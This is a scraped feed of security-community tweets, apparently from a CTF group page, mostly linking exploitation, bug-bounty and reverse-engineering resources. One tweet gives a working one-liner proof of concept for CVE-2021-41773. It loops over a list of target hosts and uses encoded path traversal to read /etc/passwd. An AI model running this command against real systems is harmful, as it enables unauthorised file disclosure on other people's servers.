AFR0HAT

Africans CTF players | Hackers
#africa #hackers

Discord: [email protected]

[0xor0ne @0xor0ne]

Short guide on Linux kernel exploitation by ChrisTheCoolHut

https://t.co/Nlh0SIBll9

#Linux #kernel #exploit #infosec #cybersecurity

[Nithin 🦹‍♂️ @thebinarybot]

@olivier_boschko That's a wrap!

If you enjoyed this thread:

1. Follow me @thebinarybot for more of these
2. RT the tweet below to share this thread with your audience

[zerodayhacker @EdwardLichtner]

Here’s a step by step on setting up an Android emulator, proxying into Burp and catching the traffic between a mobile app and an API. What do you think @hAPI_hacker? Good or crap idea? 😉
https://t.co/stOREVDR4N
#hacking #androidstudio #mobilehacking #apihacking #hackingapis

[Almudo-3.0 🇸🇳⌨🏀📝 @PamIbrahimaBaba]

@afrohat_

[Ahmet Göker🇹🇷🇳🇱 @_shadowintel_]

Guide to Reversing and Exploiting iOS binaries

Part 1 - How to Reverse Engineer and Patch an iOS Application for Beginners
https://t.co/6Yrb04yLik
Part 2 - ARM64 ROP Chains
https://t.co/ESJNyNbEvm
Part 3 - Heap Overflows on iOS ARM64: Spraying, UAF
https://t.co/A3rIdZj1g4

[Nithin 🦹‍♂️ @thebinarybot]

🔗 Link: https://t.co/qpU7QkqJ0B

💳 Credits: @olivier_boschko

[Nishith K @busk3r]

Common Vulnerabilities in NodeJS Applications

https://t.co/OeUSQ65nHt

#Security #Pentesting #SecurityEveryday #BugBounty #Pentest #AppSec

[Md Ismail Šojal 🕷️ @0x0SojalSec]

CVE-2021-41773 POC 🫰👇

⚙️ One Liner :

cat targets.txt | while read host do ; do curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n";done

[Khairallah AL-Awady @eng_khairallah1]

7 FREE Github Repositories to Learn Web3/Smart Contract Audit you need to know:

[Nicolas Krassas @Dinosn]

nuvola - Tool To Dump And Perform Automatic And Manual Security Analysis On Aws Environments Configurations And Services https://t.co/Lrh7kSm8Z8

[0xrudra @0xrudrapratap]

What would you recommend as a #bugbountytip for beginners to hack smart contracts? What are some of the most common patterns you look for first?

Would love to hear from @adrianhetman @unsafe_call

[Adrian ⛩️ Hetman 🐺 | 📓+🖋️+☕️ @adrianhetman]

What are the most common smart contracts vulnerabilities?🧐

Many of the examples will be well known to people familiar with the web3 security.

What makes this interesting, is how common these vulnerabilities are even after many hacks involving them!🫥

Let's dive in!🧵👇

[Sm4rty.xyz 𝕏 @Sm4rty_]

@Eng_khairallah1 @QuillAudits Here is the link:

https://t.co/l3GcviFP8E

[prin @fuxksniper]

A small gift from my side to all bug bounty hunters.
My 8-hour long burp suite focused course is for free.
share to someone who needs it.

#bugbountytips
#bugbounty
#infosec
#Pentesting

(rt & share + enjoy)

https://t.co/feedIPVINE

[Matthew @embee_research]

I've always found it difficult to find good Reverse Engineering content that utilises Ghidra instead of IDA Pro. For anyone else in the same boat, @AGDCservices has some great Ghidra tutorials on his youtube channel.

https://t.co/1BskRWBAir

#Malware #RE #Ghidra

[Nicolas Krassas @Dinosn]

Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis

https://t.co/JwGz3kU49I

[Intigriti @intigriti]

If you want to master API security, open this thread!

APIs are used EVERYWHERE for applications to communicate, but let's see how you can HACK them! 👩‍💻

A Thread 🧵👇

[Abhishek Meena 🏵️ @aacle_]

💥 Subdomain Enum Automation Script

Download Image : https://t.co/YrD7jzh09f

#bugbounty #infosec #bugbountytips

[Md Ismail Šojal 🕷️ @0x0SojalSec]

Top 14 - Firefox Extensions using Pentesting/Bug bounty Hunting.
#infosecurity #cybersecuritytips #Pentesting

[Md Ismail Šojal 🕷️ @0x0SojalSec]

Bypasses for LFI, Auth bypass : #bugbountytips #cybersecuritytips #infosecurity